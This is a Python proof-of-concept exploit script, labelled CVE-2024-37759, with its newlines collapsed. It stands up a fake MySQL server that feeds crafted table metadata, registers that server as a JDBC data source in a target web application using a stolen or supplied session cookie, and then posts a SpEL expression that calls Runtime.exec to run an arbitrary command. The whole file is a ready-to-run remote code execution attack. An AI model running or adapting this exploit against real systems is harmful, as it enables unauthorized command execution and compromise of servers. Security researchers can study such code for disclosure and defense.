import asyncio import logging import signal import random import requests signal.signal(signal.SIGINT, signal.SIG_DFL) from mysqlproto.protocol import start_mysql_server from mysqlproto.protocol.base import OK, ERR, EOF from mysqlproto.protocol.flags import Capability from mysqlproto.protocol.handshake import HandshakeV10, HandshakeResponse41, AuthSwitchRequest from mysqlproto.protocol.query import ColumnDefinition, ColumnDefinitionList, ResultSet,FileReadPacket import subprocess import argparse import time import sys import multiprocessing def payload(target, host, port, cookie, cmd): time.sleep(1) sourceId = None headers = {"Cookie": "JSESSIONID=%s" % (cookie)} saveReq = requests.post('%s/schema/saveAdd' % (target), json = {"dataPermission":-9,"properties":[],"driverEntity":{},"title":"test","url":"jdbc:mysql://%s:%s/test" % (host, port)}, headers = headers) if saveReq.json().get("data"): sourceId = saveReq.json().get("data").get("id") if sourceId != None: print("[+] Get schame id: %s" % sourceId) print("[+] Start attack") response = requests.post( '%s/data/%s/evil/view?ppid=pidtest' % (target, sourceId), headers=headers, json={'name': "#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('%s')}" % (cmd)}, ) if "ResultSet is from UPDATE" in response.text: print("[+] Attack success") else: print("[x] Failed to get id") @asyncio.coroutine def handle_server(server_reader, server_writer): handshake = HandshakeV10() handshake.write(server_writer) yield from server_writer.drain() switch2clear=False handshake_response = yield from HandshakeResponse41.read(server_reader.packet(), handshake.capability) username = handshake_response.user if username.endswith(b"_clear"): switch2clear = True username = username[:-len("_clear")] capability = handshake_response.capability_effective if (Capability.PLUGIN_AUTH in capability and handshake.auth_plugin != handshake_response.auth_plugin and switch2clear): AuthSwitchRequest().write(server_writer) yield from server_writer.drain() auth_response = yield from server_reader.packet().read() result = OK(capability, handshake.status) result.write(server_writer) yield from server_writer.drain() while True: server_writer.reset() packet = server_reader.packet() try: cmd = (yield from packet.read(1))[0] except Exception as _: return pass query =(yield from packet.read()) if query != '': query = query.decode('ascii') if cmd == 1: result =ERR(capability) elif cmd == 3: if 'SHOW VARIABLES'.lower() in query.lower(): ColumnDefinitionList((ColumnDefinition('d'),ColumnDefinition('e'))).write(server_writer) EOF(capability, handshake.status).write(server_writer) ResultSet(("max_allowed_packet","67108864")).write(server_writer) ResultSet(("system_time_zone","UTC")).write(server_writer) ResultSet(("time_zone","SYSTEM")).write(server_writer) ResultSet(("init_connect","")).write(server_writer) ResultSet(("auto_increment_increment","1")).write(server_writer) result = EOF(capability, handshake.status) elif 'LOCAL TEMPORARY' in str(query): ColumnDefinitionList((ColumnDefinition('table_cat'),ColumnDefinition('table_schem'),ColumnDefinition('TABLE_NAME'),ColumnDefinition('table_type'),ColumnDefinition('remarks'),ColumnDefinition('type_cat'),ColumnDefinition('type_schem'),ColumnDefinition('type_name'),ColumnDefinition('self_referencing_col_name'),ColumnDefinition('ref_generation'))).write(server_writer) EOF(capability, handshake.status).write(server_writer) ResultSet(('test','NULL','evil','BASE TABLE','','NULL','NULL','NULL','NULL','NULL')).write(server_writer) result = EOF(capability, handshake.status) elif 'SELECT TABLE_SCHEMA, NULL' in str(query): ColumnDefinitionList((ColumnDefinition('TABLE_SCHEMA'), ColumnDefinition('NULL'), ColumnDefinition('TABLE_NAME'), ColumnDefinition('COLUMN_NAME'), ColumnDefinition('data_type'), ColumnDefinition('type_name'), ColumnDefinition('column_size'), ColumnDefinition('buffer_length'), ColumnDefinition('decimal_digits'), ColumnDefinition('num_prec_radix'), ColumnDefinition('nullable'), ColumnDefinition('remarks'), ColumnDefinition('column_def'), ColumnDefinition('sql_data_type'), ColumnDefinition('sql_datetime_sub'), ColumnDefinition('char_octet_length'), ColumnDefinition('ORDINAL_POSITION'), ColumnDefinition('IS_NULLABLE'), ColumnDefinition('scope_catalog'), ColumnDefinition('scope_schema'), ColumnDefinition('scope_table'), ColumnDefinition('source_data_type'), ColumnDefinition('is_autoincrement'), ColumnDefinition('is_generatedcolumn'))).write(server_writer) EOF(capability, handshake.status).write(server_writer) ResultSet(('test','NULL','evil','name','12','VARCHAR','200','65535','0','10','1','','NULL','0','0','836','1','YES','NULL','NULL','NULL','NULL','no','no')).write(server_writer) result = EOF(capability, handshake.status) else: result = OK(capability, handshake.status) else: result = OK(capability, handshake.status) result.write(server_writer) yield from server_writer.drain() def run_mysql_server(): loop = asyncio.get_event_loop() print("[+] Fake server started") f = start_mysql_server(handle_server, host=None, port=3306) loop.run_until_complete(f) loop.run_forever() loop.close() if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2024-37759 PoC') parser.add_argument('-t', '--target', required=True, help='Attack target') parser.add_argument('-o', '--host', required=True, help='Fake server listen host(public ip)') parser.add_argument('-p', '--port', required=True, help='Fake server listen port') parser.add_argument('-s', '--session', required=True, help='User session id') parser.add_argument('-c', '--cmd', required=True, help='Command to execute') args = parser.parse_args() multiprocessing.set_start_method('spawn') p1 = multiprocessing.Process(target=run_mysql_server) p2 = multiprocessing.Process(target=payload, args=(args.target, args.host, args.port, args.session, args.cmd)) p1.start() p2.start() p2.join() p1.terminate()